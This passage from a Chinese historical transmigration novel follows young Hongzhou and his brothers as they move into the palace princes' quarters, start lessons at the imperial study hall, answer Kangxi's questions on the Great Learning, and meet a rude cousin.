怀恪还在的时候,最挂念的就是这个不成器的三弟了。从前怀恪和弘时一同养在李氏膝下,两个孩子的感情也养得不错,四爷从前是很喜欢的。 想到怀恪便不忍骂弘时了,只是声音冷淡地喊了声起,随后将康熙要各个皇子府中适龄的孩子从去上书房念书的事情说了。 弘时皱着眉问道:“那所有适龄的堂兄弟都要去吗?” 他不是很想去,皇玛法最疼爱的孙子当属废太子所出的弘晳,他这个雍亲王府的三阿哥在皇玛法眼中是排不上号的。说不定他站在皇玛法面前都不一定能将他认出来了,他并不觉得自己进宫就能得到皇玛法的另眼相待。 况且阿玛自己在皇玛法那里也不是特别受宠,指望着他们这些孩子在皇玛法面前得宠是不是有些太异想天开了。弘时在心中吐槽,他可不想凑到皇玛法面前去显眼,从前宫宴的时候就没听皇玛法提过一句他这个雍亲王府长子。 加之他也知道上书房念书的辛苦,从前他跟着福成凑热闹,也见过那位二十一叔,听过二十一叔说上书房的事情。 这样算起来,在弘时眼中去上书房就是一个一定很辛苦但说不定没什么回报的事情。 “多半是。”四爷看着弘时的脸色,大约猜出了他心中的想法,不由面上更冷了些,“你不想去?” “儿子一切全凭阿玛做主,阿玛让去便去。”弘时最终低下头选了一个不会出错的回答,这样答不论去不去阿玛总不能骂他了吧。 他在心中祈祷,最好不叫自己去。 第60章 进宫 第60章 四爷的心中弥漫起了一股失望之色,他一直都知道这个三儿子扶不上墙,但却不曾想过竟然这样好的机遇下他竟然还是这样一门心思地想要往后缩。 “你们三兄弟都得去。”四爷微微垂下眸子,语气不容置疑。 虽然对老三有些失望,但他已经做下的决定是不能因为这一点小事更改的。头一个月进去瞧瞧老三的表现,若还是这样扶不上墙,那后面的一年弘时就在家中照顾他额娘吧。 “儿子知道了。”弘时抿唇,心里烦透了。皇宫这样的地方他一个雍亲王府的阿哥在里头也不过是个小虾米,不论见到谁都要行礼,倘若他现在已经是雍亲王府的世子便好了,那必然有许多的堂兄弟会前来交好。 将这件事宣布后,四爷也不想看到自家儿子这张蠢脸,挥了挥手让他走了。 从阿玛书房出来的弘时略微松了口气,虽说阿玛一定要他去宫里念书令他有些不悦,但好在这回阿玛也没追究他没去跟着先生念书。柳先生那里已经有些习惯他这样两三天不去了,从前还会找阿玛告状,这几个月似乎已经不怎么管了。 另一边的弘历和弘昼一边走着一边讨论着,弘昼很是忧愁到时候上书房念书的时间。这样念书,和在高考大省上高三有什么区别?区别在于人家高三只上一年,他们的高三不出意外要上到十几岁。 见弘昼长吁短叹的模样,弘历无奈笑道:“别发愁了,事情已成定局,倒不如直接接受就是了。” 弘昼随手从路边的树上扯下来了一朵开得正艳的梨花,他长长地叹了口气:“四哥,接受是一回事,抱怨是一回事。阿玛做下的决定我们改不了,但是抱怨会让我心里头舒服些。” 这歪理把弘历逗乐了:“快别抱怨了,咱们还有大字没写呢。若是现在不抓紧回去写,等会儿天黑了就要点灯写了。” 弘昼一直很爱护自己的眼睛和牙齿,若是在现代的时候眼睛近视了或者牙齿蛀牙了,可以去配眼镜或者补牙。但在这里眼睛近视了,是没办法做到准确验光检查度数后做出适配的眼镜的,牙齿蛀了也是这个道理,没办法补救。 所以他一向不怎么吃甜,吃了东西必然要刷牙。一到晚上就不肯点灯看书或者写字,身体还没发育好的时候,他是不愿意干这些可能会损伤身体的事情的。 弘历也很了解他的这个习惯,一下子就戳中了弘昼痛处。 “走吧走吧。”弘历加快了脚步,“我还有六张大字就写完了,但愿能在天黑之前写完。” 弘历也跟上了他的步伐:“不不不,是七张。你方才在桌子上滚那一下,已经有一张不能看了,将这个交上去,先生肯定不会愿意的。” “不——”弘昼发出了一声痛苦的声音,现在要多写一张了,下次再也不会在窗子上滚脸了。 回到院子后,弘昼紧赶慢赶终于还是将那几张大字在天黑之前写完了,保持了他不点灯写作业的优良习惯。 月色渐渐笼罩大地,一钩弯月悬挂于夜空之中洒下了温柔的银纱。弘昼坐在屋里,手里摆弄着一个小玩意,他在思考进宫这件事。 他只跟着阿玛去过宫宴,当时也不过是在永和宫还有太极宫待着。但是看这两个地方就能知道,宫里的规矩应当是极严的。想到这弘昼仰头叹了口气,而且一个月回来休沐两日,这和封闭式学校有什么区别。 去不去不是他能决定的,既然已经定下了要去了,那就只能劝自己接受了。弘昼在心中安慰自己,阿玛有那么多的东西,自己堂哥堂弟加起来几十个了,说不定进去没几天皇玛法就觉得吵,然后将他们遣回来呢。 这样想着,弘昼的心情的确好了不少,端起放在一边的茶水一饮而尽,随后便蹦跶起来去洗漱准备睡觉了。 府中的几位阿哥要被送进宫念书的消息很快众人都知道了,在弘昼回去请安的时候,耿执羽上上下下拉着他看。 “若是这个令晚上两年下就好了。”耿执羽捋了捋儿子的头发,忧愁地说道,“晚上两三年,你也八。九岁了,进宫我倒是也不用担心了。六岁……还是太小了点,到时候进宫了一定要和你四哥一起,不要与别人起冲突。对了,被人欺负了也不要怕,一定要告诉你阿玛,你阿玛好歹也是亲王,没有看着自己儿子被人欺负的道理。” 进屋后一句话没来记得说就被嘱咐了一大堆的弘昼有点哭笑不得:“额娘,阿玛连什么时候送我们进去还不知道呢。况且谁敢在宫里头闹事,我不过是去读书,惹不出什么乱子的。” “我当然知道你不会胡乱惹是生非了。”耿执羽叹了口气,“可你这样,不代表别人也这样,这个世上最不缺的那是那种找事的人,更别提进宫的都是皇孙。” 八旗那些荒唐的子弟们能干出什么事,耿执羽从前没少听说。在这街上打架斗殴还算小事,什么赌钱争戏子也是常见的,府中爷的规矩严,瞧着三个阿哥都没有这些陋习。但谁知道那些府上管不管这些事呢,万一被带坏了可怎么办。 纵容不会被带坏,可那些天不怕地不怕的人进宫了万一也蠢得在宫里直接起冲突呢。弘昼和弘历才六岁,听闻去上书房最年幼的就是六岁,到时候那些大点的孩子打一拳就能把他们打飞了。 听了好一会儿弘昼才明白额娘担忧的问题,他笑出声来说道:“额娘你就放心吧,我和四哥不会吃亏的。况且若是大孩子打我们,那就是他们理亏了,说不定后面皇玛法还会罚他们板子呢。” “他们便是后面挨了板子又怎么呢。”耿执羽戳了一下他的脑袋,“即便他们后来受了教训,但你也是真的吃亏了。” “知道了知道了额娘,”弘昼被戳得投降,“我肯定不会逞一时之气的,而且是四哥要和我一起去的,你总该相信四哥吧。” 听着额娘念叨了好几句,弘昼一直乖乖听着。现在在府中的时候他基本上是隔上几日就能回来见见额娘,等到时候进宫去上书房了,听阿玛的意思多半一个月才回来一次。现在自己还在家中的时候,还是乖一些听额娘的话吧。 虽说四爷已经和几个孩子说了不久后要去上书房念书,但具体的日子还没定下,他们也就还得跟着现在的先生念书。 每日里十张大字这样写着,弘昼现在的字绝对和风骨这种东西无关,但好歹写的多了也能称得上是横平竖直了。从前十张大字里面,先生圈不出一个写的好的,但现在一张里就能圈出好几个了。 这让弘昼很高兴,即便先生圈出来的写的好的这几个字也只能说勉强看得过去,但他也高兴。这简直就和得了小红花的幼儿园孩子一样,到处都要给人炫耀。 总算不用写出一手字被先生痛骂了。 一个月后,康熙已经定下了这批皇孙们进宫去上书房念书的章程。这些已经准备好送孩子们去上书房的皇子们,便也定好了送进宫的日子。 当弘昼知道这件事的时候,他离进宫也只有三天的时间了。 四爷将三个孩子找来,说了进宫的时间后也嘱咐了他们在宫里如何行事。他自问在兄弟当中是不输任何人的,所以他的孩子也不必受其他堂兄弟的气。但同时也不可惹是生非,若是被他知道了少不了一顿板子。 “后面这三日。你们便不必去跟着各自的先生念书了。”四爷说道,“这几日便预备着进宫的事情吧,东西行李也不可带多了,带上几身衣裳就是了。” 这话说完后,四爷拍了拍手,几个小厮端着托盘进来了。等小厮站到自己面前,弘昼看着托盘上的东西,有些惊讶地看向了阿玛。 “你们面前有两百两的银票,一共是一张一百两和十张十两。”四爷说道,“拿回去后让你们院中的嬷嬷准备好荷包装进去,什么时候该用自己衡量。” 见三个孩子都应了,四爷才随意地挥了一下手让他们退下。 三日一闪而过,天色还未亮的时候弘昼就被郑嬷嬷叫醒了。 “快起吧,阿哥。”郑嬷嬷见弘昼醒来坐起后才笑道,“今儿爷吩咐的要早些辰时就出门,若是再不起可就来不及用早膳了。” 这进宫第一天他是肯定找不到糕点吃的,那就只能等着午膳了。若是不吃早膳,那他肯定会在路上饿的。 弘昼坐起来发了一会呆才下床洗漱,现在已经是春天了,平时他起床的时候天色一般都蒙蒙亮了。像现在这样全黑的样子,让他恍惚间以为自己还在冬天,只有那时候起床了天还是全黑的。 洗漱完了坐在桌子前用着早膳,弘昼喝一口粥要发一下呆。在郑嬷嬷催促过后,他才三下五除二将自己的肚子填饱。 从院子出来弘昼就看到了四哥,他身后也跟着张嬷嬷手中拿着一个包袱,看起来是他带进宫的衣裳。 “看起来还睡眼蒙眬的。”弘历一见到弘昼就开口笑道。 弘昼打了一个哈欠:“我还困着呢。” “昨晚没睡着?”弘历边走边问。 弘昼点了点头:“昨儿翻来覆去睡不着,可能是想着进宫了吧。” 一路走着就来到了平日里坐车出门的地方,四爷和弘时已经在了。 坐着马车从雍亲王府到皇宫的路程颠得弘昼瞌睡都醒了,等到了皇宫门口,他们从马车上下来就看见天色已经大亮,甚至东方已经能隐约看到朝霞了,今天是个好天气。【你现在阅读的是魔蝎小说 moxiexs】 60-70 第61章 宿舍 第61章 跟着四爷一路从宫门口走到了阿哥所,这些皇孙们如今进来念书也是住在阿哥所的。但毕竟阿哥所的院子没有那么多,自然是实现不了一人一间院子了,便按照了一家一个院子。这也导致了家中进来念书孩子少的便住得宽敞些,而家中孩子进来得多的,自然就住得要挤些。 弘昼他们的院子是四爷从前住过的,此时已经被打扫得干干净净的了。这院子中已经候了几个伺候的人,弘昼打眼一看,这小小的院子中有一个嬷嬷打扮的人,五六个小宫女,还有五六个小太监。 见他们进来,打头的那个嬷嬷,领着身后的人行礼:“奴婢红菇,参见雍亲王,见过三位阿哥。” 既然要皇孙们入宫,这些预备的事宜是早就吩咐下去了,除去那两位还在宫中念书的皇子住的院子,其余的院子都是被重新打扫了一番,又拨派了人手的。 “起来吧。”四爷的声音很冷淡,看着那嬷嬷叫身后的太监们将弘昼弘历身后下人拎着的东西接过去后敲打了这些人几句便离去了。 这里的嬷嬷早就知道雍亲王府有三位阿哥要进来念书,预备了三间房间分别是正房和东厢房还有西厢房。其中正房自然是最好的,不仅地方大,位置还好。 在听嬷嬷说完之后,弘时很是理所当然道:“既如此,那正房我便住了,东厢房和西厢房你们自己分吧,还有你,以后你就跟着我吧。” 在这宫里一般要一个跑腿的太监,弘时随意地指了一个看起来机灵些的,那太监也是个聪明的一下子就跑到了弘时的身后站着。从这位三阿哥理所当然要正房的态度来看,这三阿哥应当是几位阿哥中最得势的,他跟着三阿哥肯定不会出错。 弘昼看了弘时一眼,又转头看了看四哥,见四哥没有什么表情便没说什么。虽然弘时这颐指气使的样子有点让人不爽,但这才是进宫的第一天没必要闹起来。 将这几句话说完,弘时就带着那小太监进了他指定的房间。今天刚进上书房,还不必去念书,等到后日才需要去。 “四哥你要东厢房还是西厢房?”见弘时走了,弘昼看着四哥问道。他自己对东厢房西厢房无所谓,如果四哥有比较想要的,那就先让他选呗。 弘历左右看了看两间房子,从外面看起来是一样大的,但是一般东厢房都要好些:“你住东厢房吧,我去住西厢房,咱们各自进去收拾收拾东西。” 见弘昼点了头后,弘历又让他选贴身太监。 在府中的时候弘昼有自己的院子,按道理来说院子里的人都是伺候他的,他身边一般跟着的是郑嬷嬷,虽然有几个小厮但都是干粗活的。他也没有自己挑过贴身伺候的人,看着眼前的四个小太监有些犯难。 小太监们虽然都按着规矩低着脑袋,但心中都在期盼着被挑中。若是被挑中就算阿哥们的贴身太监了,每月的月例是要比院中干粗活的太监多些的,能送进宫的太监家中都很是穷苦,他们对于银子也很是看重。 “就你吧。”弘昼将目光收回来,点了一个看起来有些瘦弱的小太监。 那小太监当即大喜,口中似乎是想说两句吉利话但又说不出来。 见弟弟已经选了,弘历也随意点了一个人。 选了贴身太监弘昼就想要去看看自己的学生宿舍了,东厢房的房子果然不大,里间的睡觉的地方有点狭小,摆下了一张床后便摆不下什么东西了。外间待客的地方也不大,几把椅子一放就没了剩余的地方。 若是和前世的学生宿舍相比这自然是天堂了,但是对比弘昼在雍亲王府住的地方,这里就显得极为狭窄阴暗。 好在弘昼已经有了心理准备,除却地方窄了点,其余的东西都不算差。地方窄也不是什么大事,毕竟自己回阿哥所剩下的那点时间也就够睡觉,这睡觉的床看上去舒服就行了。 见小太监麻利地收拾自己从外面带来的衣裳,弘昼问道:“你叫什么名字?” “奴,奴才小周子。”小周子有些颤颤巍巍地说道。 “哪个周?”弘昼歪头。 小周子似乎是愣住了,想了想才说道:“就是姓氏的那个周,主子恕罪,奴才不识字写不出来。” “姓氏的那个周?”弘昼愣了愣神,随后用手沾了一点水在桌子上方方正正写了一个周字,“那应当就是这个周。” 小周子认认真真看了,随后笑着说道:“奴才记住了。” 将自己这里看了个大概后,弘昼又窜到了四哥的房里,将里面上上下下打量了一番。 西厢房和东厢房的布局差不多,房间大小也差不多。除了有些摆设不同外,几乎称得上是一模一样。 “你这里收拾好了吗?”弘昼左右看着问道。 弘历点了点脑袋:“都收拾好了。” “那咱们去看看弘暾吧。”弘昼笑着说道。 十三爷府中这次进来了两个阿哥,一个是长子弘昌,另一个就是三子弘暾了。再往下的就是弘晈,弘晈今年四岁,年龄还不够便不能来。 “去找弘暾?”弘历犹豫片刻,“咱们不知道他住在哪个院子吧。” “咱们不知道,但伺候的人应该知道吧。”说着弘昼扭头看向了小周子,“你知道十三叔进来的那两个阿哥的院子在哪里吗?” 小周子点了点头说道:“奴才知道。” “那你就带我们去吧。”弘昼有点高兴。 以后都要在宫里头生活了,虽说阿玛叮嘱了不能乱跑,可自己在上书房还有阿哥所认认路应该不算乱跑吧。 弘历犹豫了片刻之后还是点头了,在阿哥所中间走动应当不算什么,只要不乱跑到前朝后宫就没有什么太大的事情。 十三爷从前的院子其实就在四爷旁边,当年四爷就很看顾十三爷,十三爷在搬进来的时候就看中了四爷旁边的院子。 看见出了自己院子就进了弘暾的房子,弘昼脸上更高兴了,离得这么近以后找弘暾一起玩也方便。虽然后面不一定有时间玩,但住得近就很不错了。 十三爷没有送两个孩子进宫,他除了逢年过节的宫宴已经很少进宫了。康熙看这个儿子不顺眼,十三爷只能少出现在这位老爷子的跟前。 刚进院子,迎面而来的就是弘昌,弘昼和弘历给这位堂哥打招呼,弘昌只是微微点了点头从他们身边走了过去。 弘暾也是住在东厢房,里面的大小和弘昼的屋子差不多,将他们引到那狭小的会客区弘暾开口:“你们怎么过来了?” “来找你玩啊,怎么,不能过来?”弘昼喝了口茶后微微拧了眉,他虽然不大精通茶,但也喝出来了这不是什么好茶。 “这是什么话?”弘暾无语,“这还不是以为头一日。你们会乖乖待着。” “收拾完了东西也没什么事做。”弘昼说道,“你这房子和我那里倒是差不多。” “我大哥一进来就朝着正房走了,”弘暾悄悄撇了撇嘴,他并不是很喜欢自己这位大哥,“不过我这里还好,你们是不知道那种一次进来四五个兄弟,那真是住也住不开。” “哪家进来这么多?”弘昼震惊,不是说一般一家也就进来两三人吗,这适龄的孩子能一下子进来四五个,那家中还真是人丁兴旺。 弘暾的声音压低了:“听说是九伯家中就进来了五个。” 第62章 上书房初体验 第62章 弘昼震惊:“九叔家还真是人丁兴旺。” 适龄就是在六岁到十五岁之间,这个年龄段能拿出来五个孩子,应当是这些叔伯当中的第一人了。听闻还有两家并无适龄的孩子,干脆便没有送人进来呢- * “也就只有九伯一家是送进来了五个。”弘暾继续八卦道,“大多数都是送进来三个,你们家,三伯五伯家都是三个。哦对,差点忘了,十四叔家是送进来四个,只比九伯家少一个。还有只送一个的,七伯还有八伯都是只送了一个。” “你这是都打听完了。”弘历感叹。 弘暾脸上露出了一个得意的神色:“这么点消息只要我有心打听,还能打听不出来吗?” 看他这志得意满的表情,弘昼心里起了坏心思:“你既然这些都打听清楚了,想必我们念书的时辰也是知道了。” 弘暾脸上得意的表情马上变了,他阴阴地说道:“当然知道了,阿玛在告诉我们要进宫的第一日就说了。寅时就要到上书房,也就是丑时末就得起床收拾,一直到申时末才散学。” 从前在家中的时候,十三爷虽然也称得上是看重孩子的教育,但并未让孩子和上书房一样的作息。他从前在上书房待过,自然知道这样念书整个人浑身都是疲惫的,便也不强求孩子们也要这样。 已经念书的弘昌和弘暾每日里只需念书三个时辰,再去校场一个半时辰习武就够了。 从前弘暾一直觉得自己的课业不算轻松,可知道了上书房念书的方式后,他才发现原来阿玛已经对他够好了。 明明是自己主动提起了,但想到后天就要在丑时末也就是凌晨三点左右起床,弘昼也心梗了一下,这种反人类的作息自己这位皇玛法到底是怎么想的。 “差不多要用午膳了,”弘暾看了看外面的天色,“让你们伺候的人把饭食摆在我这里一起吃吧,正好我大哥出去了。” “也可以。”弘昼无所谓地点了点头,扭头看向了身后的小周子,“我们的饭食在哪里领你知道吗?” 小周子恭敬道:“奴才知道,这阿哥所有个大厨房,从前所有阿哥的饭食都在那里领,如今主子的饭食也是在那里。” 进宫的这些人都是提前把名单报上去的,每个人都有自己单独的份例。每日里的饭食点心,平常的茶叶炭火都是有份的。 弘历微微点了点头,对着后面的小太监吩咐道:“小桩子,你也跟着去吧。” 已经是用午膳的点了,大厨房那里早就把各位小阿哥的饭菜做好了。今日进宫的小阿哥不少,这些从小养在王府中都是被娇惯长大的,若是出了差池第一天就来闹大厨房就不好了。 小周子和小桩子带着弘暾院中的一位嬷嬷去的,大厨房的总管钱祝正倚靠在厨房柱子上,看着手下的人干活。 “诶诶诶,这个菜是这样做的吗?锅还没烧热呢,你这菜放下去等会还能吃吗?”钱祝指着前面一个十二三岁的小太监骂道,“这等会儿是给你们吃的菜,上点心,奴才的饭菜都做不好,谁敢让你伺候主子的饭菜?” “钱总管。”小桩子脸上挂着笑上前。 钱祝脑袋扭了过来,上下打量着过来的三人:“过来领饭菜?哪位阿哥的份例?” “我们两位领的是雍亲王府的四阿哥五阿哥的饭菜,”小桩子指了指自己和小周子,又指了指旁边的嬷嬷,“这位嬷嬷领的是十三爷府中三阿哥的饭菜。” “哦。”钱祝听这话,脸上热情了些,“原来是雍亲王府的两位阿哥,这饭菜早就已经备好了,您看我们这可是花了大功夫做的,都已经装好了,两位拎着就能走了。” 一边说着,一边将桌子上的两个适合拿到了小周子和小桩子的眼前笑道:“若是两位阿哥日后有什么喜欢的,只管吩咐就是了。” 这宫里谁不知道,雍亲王如今受皇上宠爱。这皇子里封和硕亲王的可就三人,雍亲王又是其中最得皇上看中的,他家的小阿哥可不能怠慢。至于十三爷……不得皇上待见,领着份例就不错了,哪可能额外照顾。 那位嬷嬷被晾到了一边,但她也不尴尬,只在一旁等着,果然钱祝说完话后又吩咐旁边的小太监给她也拿了一个食盒。 小周子拎着适合走在小桩子的旁边,他心中想着,自己可真是好运气。从前可没见钱总管这样热情,而且瞧着主子似乎并不是胡搅蛮缠的人。 回到弘暾的院子,他们三人将其中的饭菜摆了出来,放在了一张桌子上。 其中弘历和弘昼食盒里摆出来的大多瞧着都较为诱人,青菜翠绿上面带着一层油光,一看就新鲜。肉菜也是颇要花费许多功夫的菜色,一看就知道花了大时间的。 而弘暾食盒里摆出来的菜明显就要差点了,青菜已经有些蔫黄了,肉菜也都是些小炒,虽然不算差但不须废什么功夫。 但眼前的三兄弟显然没有注意到这一点,他们拿起筷子就准备开吃了。早上起这么早,就算用过早膳,但在这用午膳的点还是已经饿得前胸贴后背了。 这宫里的饭菜味道不错,弘昼对此很满意。他之前只在宫宴的时候吃过宫中的饭菜,但阿哥所的饭*菜好不好吃还是个未知数,现在知道这里的食堂味道不错他也就放心了,毕竟后面每天都要吃这个。 放下筷子的时候弘昼摸了摸自己的肚子,感觉到里面已经被食物填饱了才满足地喝下了一口茶。 一般白天屋子的门是不会关的,东厢房的门正对着院子,弘昌从外面走进来的时候弘昼一眼就看到了。 弘昌明显此时心情不大好,他脸色有点难看,一眼都没有往东厢房这边看,大步流星地就去了正房。 弘昼低头继续喝茶,他和这位堂兄的关系一般,也不在乎他为什么心情不好。 “听闻后日,”吃过饭后,弘暾把伺候的人都遣出去后小声说道,“皇玛法会去上书房呢。” 在四爷他们还在上书房念书的时候,特别是太子还在念书的那段时间,康熙称得上是日日前往上书房打卡。但在这批大的孩子去办差事后,康熙去上书房的次数就急剧减少了,到了现在可能得好几个月才能想得起去一次上书房了。 弘昼对这位皇玛法的印象还在上次宫宴的时候,看到的那个遥远而威严的身影。听说这位从前对阿玛他们的功课看得很严,希望不要也这样要求他们这些皇孙。 “你这也能打听到。”弘昼叹为观止。 弘历皱着眉:“既然皇玛法可能会来,那岂不是也可能考校功课?那我们得快些回去温书了,万一叫到我们呢。” 还没反应过来,弘昼就被弘历拖着往回走了,他只来得及和弘暾比了一个再见的手势。 被拖回自己院子后,弘历和弘昼都拿了本书出来。 被压着一起看书的弘昼:叹气。 两日一闪而过,这天弘昼早早地就被小周子叫了起来。他下意识地看了眼窗外,见外面一片漆黑。 “主子快些起来了。”小周子一边准备着弘昼的衣裳一边说道:“若是再不起来,可就来不及用早膳了。” 这句话好像从前郑嬷嬷也说过很多次,弘昼打着哈欠掀开被子,他昨晚其实早早就上。床了。天色刚黑就已经洗漱完毕躺在床上准备睡觉了,但无奈长久养成的生物钟让他根本睡不着,在床上辗转许久才入眠。 桌子上已经摆好了早膳,弘昼没什么胃口,只端起粥喝了两口。他记得等会儿早读完还有一顿点心可以吃,现在早膳少吃一点应该也没什么大问题吧。 见弘昼只吃了两口就不吃了,小周子张嘴就想劝,但又怕自己的话让主子心烦。他现在才跟着这位主子两三日,还摸不准脉呢。 叩叩—— 弘昼的房门被叩响了两下,随后吱呀一声门被推开了。 “起来了?”弘历已经穿戴整齐走进来了,他见弘昼正在桌前用着早膳说道,“快吃上口便该走了,这头一日可不能迟到,三哥已经走了。” 弘昼震惊:“三哥已经走了?” 不是说在府中的时候三哥是最为惫懒的人吗?怎么现在进宫了变得这么勤快了。 见四哥点了点头,弘昼将粥端起来喝了两口后就站起了身:“走吧走吧。” 从阿哥所到上书房的路程并不远,上书房在乾清宫旁,从阿哥所走过来七八分钟也就够了。 这一路上都暗暗的,唯有两个小太监打着两盏灯照亮了一段路。 到上书房了,老远就看见前面一片灯火通明。 离得近了,就能听见里面传来琅琅的读书声。 弘昼和弘历走了进来,随意寻了个挨着的书案坐了下来。这进来念书的皇孙从十五岁到六岁的都有,后面肯定是要分开的,不然六岁的还在学认字,十五岁的已经在读史书了,这可怎么在一起教,所以现在坐着的位置多半是暂时的。 坐在书案前,弘昼也开始念书了,第一日来上书房装也要装好样子。 外面的天空逐渐从黑暗变成浅灰,又变成彻底的明亮。偶尔有鸟叫声传来,但很快又被宫人给赶走了。 弘昼悄悄打了个哈欠,他已经开始有点困了。 有小太监们鱼贯而入,给里头的皇子皇孙们送上点心和茶水。 弘昼刚拿起一块点心还没塞进嘴里,就听到外面传来了通传的声音。 “皇上驾到——” 第63章 挑衅 第63章 手中这块还没咬一口的点心只能暂时放下,弘昼随着大部队起身行礼。 康熙踩着沉稳的步伐走进上书房,身后跟着不少的皇子大臣,他进来后扫了一眼将所有场景收入眼底,心中闪过了一丝复杂。 从前在这上书房念书的孩子们已经回办差事了,也会在朝中争权夺利了,他们的儿子们又来这念书了。现在自己身体日渐衰败,看着这群孩子们心中真是百感交集。 “都起来吧。”康熙朗声笑道,“今儿第一天来上书房,可还适应?” 弘昼悄悄往皇玛法的身后看了看,果然看到了自家面无表情的阿玛,还碰上了阿玛的眼神,这让弘昼又默默将脑袋低下去。 四爷有点无语,平日里在家中胆子大也就算了,在宫里的胆子还这样大。弘时和弘历都将脑袋低得好好的,偏偏他要抬起来偷看。 低下头的一群皇孙中马上便有一人站出来回来:“回皇玛法的话,在这上书房中看到诸位兄弟都这般认真念书,心中便也不自觉认真了起来,自然是适应的。” 出来讲话的是弘景,他出身诚亲王府行三。他自认这些来的皇孙中是身份高又年纪大些的,他出来讲话自然合适。 康熙笑着勉励了几句,他的视线在众人的身上扫了扫,挑了几个人出来考校学问。 当初康熙也是书读一百二十遍这样过来的,即便已经到了这个年纪学识依旧不差。他根据点出来人的年龄考校,若是答得很好便不吝惜赞赏,答得一般也能勉励几句,答得差也不过一笑而过点下一个人。 他是按照儿子们的排行来点的,弘昼见三伯家中被点了两个后皇玛法就点了三哥,下一个多半是自己或者四哥了。 看着皇玛法身后站着的一堆人,又看了看自家阿玛冷着的脸。弘昼在心中暗想这种情况下决不能答不出来,不然阿玛的怒火就自己吃的了,但其实最好的是不要点自己。 似乎是听到了弘昼的心声,康熙在考校完弘时候,目光转向了弘历问了一段《大学》上面的话。 对于六岁的孩子来说,《大学》似乎有些超纲了,但弘昼听到这句问话后直接替四哥松了口气。托阿玛让他们启蒙早的福,《大学》他们还真学得差不多了,这句话先生还着重讲过,四哥肯定能答出来。 果然弘历将这句话的释义说了出来,又举了两个例子说明,成功让四爷的冰块脸融化了一点,眸间终于有了温和之色。 康熙赞许地点了点头,看向身后的四爷:“胤禛平日里在家中将孩子教得不错。” “汗阿玛谬赞了,”四爷绷住了想要露出的笑意,说道,“弘时回答不过平平,弘历答得也没有什么新意,不过是汗阿玛抬举孩子们,莫要让他们生了骄狂之心才是。” “六岁的孩子能答出这些也不错了,赶得上你们兄弟当年了。”康熙笑道,将目光落到了弘昼的身上,“这是弘昼吧,你来说说其本乱而末治者,否矣;其所厚者薄,而其所薄者厚,未之有也,何解。” 还在歪头看着四哥的弘昼懵了一下,按照前面的规律不是一家最多点两个吗? 前面刚夸了阿玛会教孩子,要是自己这里掉一下链子,弘昼已经能想象出来阿玛冷冷盯着自己的样子了。 好在这句话当初先生也教过,弘昼努力想了想说道:“本,身也,修身为本,若尚未修身,便谈论治国平天下,是不可能做到的。要先修养自身的品行,方能谈论其他。” 若是一个十几岁的孩子回答这个,康熙自然是不会满意的。但弘昼才六岁,这回答就还算过得去,便也夸了两句,对着四爷笑道:“这孩子也教得不错。” “这两个孩子同一年生的,平素感情亲厚,念书也是在一起的。”四爷回道。 康熙说了句不错,便开始问下一家。 弘昼留意了一下,明明问五叔家中的时候也是问的两个,怎么到自己这里就三个都问了。 若是这家进来的只一两人,康熙便都问了,若进来的人多,便只捡一两人出来问。 都问了一遍后,康熙身后的人看着他的脸色便开始夸赞皇孙们功课好,没有一个不学无术的。至少康熙的问题大部分都是答出来了的,只有少数的几个面露茫然。 考校外后康熙带着一大帮的人走后,弘昼才有时间来吃自己的点心。早膳用得不多,这顿点心就很重要了,毕竟午膳离现在还有两个多时辰也就是四五个小时,不吃饱点待会肯定会饿的。 “你说皇玛法日后会经常过来吗?”弘暾将自己的点心都吃完了,凑到了弘昼面前和他说悄悄话。 刚刚问十三爷府中的孩子时,问的是弘昌,弘昌表现得还不错。弘暾倒不是在意自己没有被皇玛法关注的问题,他在意的是若是日后皇玛法经常来的话,他念书就不敢懈怠了,谁知道会不会哪天问到自己头上。 阿玛的处境已经很艰难了,若他们这些当儿子的在宫中不仅不争气还丢脸的话,阿玛只会更加艰难。 “我也不知道,”弘昼喝了口茶,“应该不会常来吧。” 弘暾还准备说两句,就见小太监们鱼贯而入将点心的盏碟都收走了,然后便有几位先生走了进来。 进来的皇孙太多了,一人分配一个先生多半是不行了,便按照年龄来分,同岁的就分到一起。 弘暾比弘昼还有弘历要大上一岁,他被先生带走的时候扭头看了看他们两兄弟,眼中带着不舍。这屋子里的这群人中,他最熟悉的就是弘昼和弘历了,本以为能一直在一起念书,却没想到头一天就被拆散了。 弘昼听到这个分法倒是挺高兴,起码不用和四哥分开了。 除了他们两兄弟外,同是六岁的还有四个人。这四人都是来自不同府上,弘昼看着也眼生,多半是和自家阿玛没什么交集的。 分好了后就要开始跟着先生念书了,这位先生姓楚,现在正在翰林院担任编撰。他莫约三十岁上下,下巴上留着一点山羊胡,不苟言笑的样子有些让人打怵。 性格也是有些雷厉风行的,面对这六个学生自我介绍了一下后就直接开始教学。 和他的长相不同,楚先生在教学的时候竟然格外生动有趣,这让弘昼有些讶异。本来以为按照这位楚先生的外形来说,应当是个毕竟严厉死板的书生形象,但没想到教起来并不让人犯困。 这也让他松了口气,还不知道要跟着这位先生学多久呢,有趣当然是最好的。 或许是因为今天是第一日在上书房,楚先生讲的东西都较为有趣和轻松,快要到用午膳的时间就直接让他们开始练字了。 等到了午膳的时间,弘昼看着摆在自己面前的午膳,正准备大快朵颐的时候就听见旁边有人似乎在叫自己。 “喂,你是四伯家中的五阿哥?” 这声音有点居高临下,弘昼本来不想搭理的,因为这个声音听上去不大友善。直到这个叫声越来越大,甚至能听出些恼羞成怒的感觉后,才微微转过头去看向他。 “你是耳聋了吗,听不见我和你说话?”弘旷怒发冲冠。 弘昼懒洋洋道:“听见了,然后呢?” 弘历微微抬起头表情有些不悦,这人好生无礼。 “你,”弘旷哼了一声,“雍亲王府的教养就是这样的?” 这话让弘昼脸上原本的不在意消失了,转为了冷淡:“你是谁家的?你家的教养就是这样的,家中没教过礼仪吗?” 原本坐在弘旷身边事不关己的弘鼎听见这话皱了眉,他和弘旷是一家的,这话等于是把他也骂了。但他也知道这是弘旷找事在前,他便皱着眉不想搭理。 “你竟然不知道我是谁家的!”弘旷声音尖锐,他不可置信。 另一边五爷恒亲王府中的弘曈,和七爷淳郡王府的弘暻也是同属楚先生手下的,他们似乎没有发觉这里的吵闹一般,表面上在专心致志地用着午膳。只偶尔悄悄瞥过来的眼神能看出,他们也是关注这里的。 弘昼皱眉:“这里这么多人,难不成我要每个人都知道是谁家的?再说了,你这样无礼的人,我也确实不想知道是谁家的。” 九爷平日里来往的人家,除了他同母亲哥哥恒亲王外,就是老八和老十了。弘旷见过的堂兄弟也多是这三位叔伯家中的,而其余见的人则是九爷的属官或者旗下佐领家中的孩子,这些人都对他毕恭毕敬的,堂兄弟们对他也很是客气,他头一回见到这样对他不客气的。 